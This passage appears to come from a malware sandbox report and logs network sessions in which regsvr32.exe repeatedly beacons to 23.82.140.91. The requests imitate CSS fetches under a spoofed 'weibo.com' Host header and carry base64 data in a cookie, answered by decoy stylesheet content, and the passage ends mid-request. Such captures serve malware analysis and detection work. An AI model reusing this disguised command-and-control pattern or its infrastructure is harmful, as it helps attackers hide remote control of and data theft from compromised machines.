User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:08:27 UTC 1180 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:08:27 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767

2022-02-08 23:08:27 UTC 1180 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Session ID Source IP Source Port Destination IP
Destination
Port

Process

67 192.168.2.6 49886 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:08:30 UTC 1182 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=Z2xtY29oYmhra2NqbWxpbWpiaWRlaXBnYmplbmlkZGVnb29tY25vaWZraGNsY2lsZ29vcG
psYnBocGRlZGNhaWtkY2ppYmdnb2xsbm9sZ2RkZmZvamRhY2JkbG5jbmlua2ljZWlvYmJubmFkbWFrYmJmaGxjZW1t
ZnBia3BuZmVkYmtrbWZraWJjbGZnYmpwZmdlYmpjamZmamxqcGNvamlsaGFrZ2RoaGFibW9lbWFwZXBtYWtuaG5qYm
NibXBjbWdla2dmaWdlb2JnZ2pnZWVpYWhqcHBwYWJmbmlvamNqYm9rZmxwZ2lobWFka2thb2xvamVrZG
NmbmZkbWduaA==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:08:30 UTC 1183 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:08:30 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767
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2022-02-08 23:08:30 UTC 1183 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

68 192.168.2.6 49887 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:08:30 UTC 1182 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=aGZkb2xjZmhhZmpqamFkZW1ubGhmb25vbW9oY2xjYWliYmhrZmJqaWhkb2VwcGFqZGhiZW
5hYm5laWhtaGdtaWZkb2Vsb2ZsbWNqZmZjaGZjbGJwZWFqcGFmZm5kZWZmamxjaWxtYnBua25jaWxtb2Rtb2JrcGxj
Z25lZWdla25vbWtkamRmZ25jYnBpZGljaGpoZmNpbWljYW5oa2hva2ljYWtvbWpmZmNhZWxoZ25uZWZpbmhkZG9jbm
hla2FmY2tnbXBva2VsbG9samFlbm9jcGhsa2lla2VnbWdmZG5vZWJpZGxiZGptcGdobWJnY2lwZmlqb2Njb2NqbmFpaw==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:08:30 UTC 1185 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:08:30 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767

2022-02-08 23:08:30 UTC 1185 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Session ID Source IP Source Port Destination IP
Destination
Port

Process

69 192.168.2.6 49890 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:08:31 UTC 1187 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=Y3BsZGVvZ3BmamtpaWxwbGtwbWhlZ2NoaG9hZW9rZGtnanBpb2VnYmJlYmxqaW9hY29hbW
ZjYmNvY2FkZm9ubGtiaGVpZmFicGxiY2xkZm9kZ2tmbWphY2VsbWdkYm1uZmJhZ21na2duZWlna2RkbGlpZ2hsaW1t
b2hkbWZpamVjZ2hvZ2ZtZGpiYW1ubm9rZWNpaGljbG1hYWFjYW9tZWNtZ3BhZWZpbGptZWVwa2tlbWNoY2ZlZGlqaG
FnZmtqb2dlaGdrYmVjamRlam5ub2FoY2pka2lkZ2prZWtlb2prbmptYmFsY2lwZ2FtZGVub2ptZGppaWRrbW5nZGZvZw==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:08:32 UTC 1187 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:08:31 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767
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2022-02-08 23:08:32 UTC 1187 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

7 192.168.2.6 49768 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:07:16 UTC 1031 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=aGZkb2xjZmhhZmpqamFkZW1ubGhmb25vbW9oY2xjYWliYmhrZmJqaWhkb2VwcGFqZGhiZW
5hYm5laWhtaGdtaWZkb2Vsb2ZsbWNqZmZjaGZjbGJwZWFqcGFmZm5kZWZmamxjaWxtYnBua25jaWxtb2Rtb2JrcGxj
Z25lZWdla25vbWtkamRmZ25jYnBpZGljaGpoZmNpbWljYW5oa2hva2ljYWtvbWpmZmNhZWxoZ25uZWZpbmhkZG9jbm
hla2FmY2tnbXBva2VsbG9samFlbm9jcGhsa2lla2VnbWdmZG5vZWJpZGxiZGptcGdobWJnY2lwZmlqb2Njb2NqbmFpaw==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:07:16 UTC 1032 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:07:16 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767

2022-02-08 23:07:16 UTC 1032 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Session ID Source IP Source Port Destination IP
Destination
Port

Process

70 192.168.2.6 49891 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:08:32 UTC 1189 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=ZGtpbGZrZnBuY25jYWNhZWFvZ2VqZ2htaWNuY2xlbmxrY2phaWhlb2RsZGNhb25va2djZW
5wZmJpaWxicGJjaWphYmtubGpqaWhrbG5jZmNubWxqbmtjbmhtaGFmbGNrYmJjYWJjaGpwaG5nbm5raG1va2pnYWNj
bW1jbnBnZWZpaWhmampkaWppZ2Fub21pY25raGVhcGVwbG1sa2tubmZja2ZlaGtkbWNiam5tYnBobWtwY2ZuamVkYW
FnaGNkbW1wcHBuZ2NmbGpoa29hY2xvZGJpY2psaGxvcGFmb2lrYm1vZWpibWVuZmlnZm1oZGdob2VpZG
5nbWpsaGFsYQ==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:08:32 UTC 1190 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:08:32 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767
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2022-02-08 23:08:32 UTC 1190 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

71 192.168.2.6 49892 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:08:34 UTC 1192 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=aGZkb2xjZmhhZmpqamFkZW1ubGhmb25vbW9oY2xjYWliYmhrZmJqaWhkb2VwcGFqZGhiZW
5hYm5laWhtaGdtaWZkb2Vsb2ZsbWNqZmZjaGZjbGJwZWFqcGFmZm5kZWZmamxjaWxtYnBua25jaWxtb2Rtb2JrcGxj
Z25lZWdla25vbWtkamRmZ25jYnBpZGljaGpoZmNpbWljYW5oa2hva2ljYWtvbWpmZmNhZWxoZ25uZWZpbmhkZG9jbm
hla2FmY2tnbXBva2VsbG9samFlbm9jcGhsa2lla2VnbWdmZG5vZWJpZGxiZGptcGdobWJnY2lwZmlqb2Njb2NqbmFpaw==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:08:34 UTC 1192 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:08:34 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767

2022-02-08 23:08:34 UTC 1192 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Session ID Source IP Source Port Destination IP
Destination
Port

Process

72 192.168.2.6 49893 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:08:35 UTC 1194 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=Z2xtY29oYmhra2NqbWxpbWpiaWRlaXBnYmplbmlkZGVnb29tY25vaWZraGNsY2lsZ29vcG
psYnBocGRlZGNhaWtkY2ppYmdnb2xsbm9sZ2RkZmZvamRhY2JkbG5jbmlua2ljZWlvYmJubmFkbWFrYmJmaGxjZW1t
ZnBia3BuZmVkYmtrbWZraWJjbGZnYmpwZmdlYmpjamZmamxqcGNvamlsaGFrZ2RoaGFibW9lbWFwZXBtYWtuaG5qYm
NibXBjbWdla2dmaWdlb2JnZ2pnZWVpYWhqcHBwYWJmbmlvamNqYm9rZmxwZ2lobWFka2thb2xvamVrZG
NmbmZkbWduaA==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:08:35 UTC 1195 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:08:35 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767
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2022-02-08 23:08:35 UTC 1195 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

73 192.168.2.6 49895 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:08:36 UTC 1197 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=Y3BsZGVvZ3BmamtpaWxwbGtwbWhlZ2NoaG9hZW9rZGtnanBpb2VnYmJlYmxqaW9hY29hbW
ZjYmNvY2FkZm9ubGtiaGVpZmFicGxiY2xkZm9kZ2tmbWphY2VsbWdkYm1uZmJhZ21na2duZWlna2RkbGlpZ2hsaW1t
b2hkbWZpamVjZ2hvZ2ZtZGpiYW1ubm9rZWNpaGljbG1hYWFjYW9tZWNtZ3BhZWZpbGptZWVwa2tlbWNoY2ZlZGlqaG
FnZmtqb2dlaGdrYmVjamRlam5ub2FoY2pka2lkZ2prZWtlb2prbmptYmFsY2lwZ2FtZGVub2ptZGppaWRrbW5nZGZvZw==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:08:37 UTC 1197 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:08:36 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767

2022-02-08 23:08:37 UTC 1197 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Session ID Source IP Source Port Destination IP
Destination
Port

Process

74 192.168.2.6 49896 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:08:38 UTC 1199 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=ZGtpbGZrZnBuY25jYWNhZWFvZ2VqZ2htaWNuY2xlbmxrY2phaWhlb2RsZGNhb25va2djZW
5wZmJpaWxicGJjaWphYmtubGpqaWhrbG5jZmNubWxqbmtjbmhtaGFmbGNrYmJjYWJjaGpwaG5nbm5raG1va2pnYWNj
bW1jbnBnZWZpaWhmampkaWppZ2Fub21pY25raGVhcGVwbG1sa2tubmZja2ZlaGtkbWNiam5tYnBobWtwY2ZuamVkYW
FnaGNkbW1wcHBuZ2NmbGpoa29hY2xvZGJpY2psaGxvcGFmb2lrYm1vZWpibWVuZmlnZm1oZGdob2VpZG
5nbWpsaGFsYQ==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:08:38 UTC 1200 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:08:38 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767
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2022-02-08 23:08:38 UTC 1200 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

75 192.168.2.6 49897 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:08:38 UTC 1202 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=aGZkb2xjZmhhZmpqamFkZW1ubGhmb25vbW9oY2xjYWliYmhrZmJqaWhkb2VwcGFqZGhiZW
5hYm5laWhtaGdtaWZkb2Vsb2ZsbWNqZmZjaGZjbGJwZWFqcGFmZm5kZWZmamxjaWxtYnBua25jaWxtb2Rtb2JrcGxj
Z25lZWdla25vbWtkamRmZ25jYnBpZGljaGpoZmNpbWljYW5oa2hva2ljYWtvbWpmZmNhZWxoZ25uZWZpbmhkZG9jbm
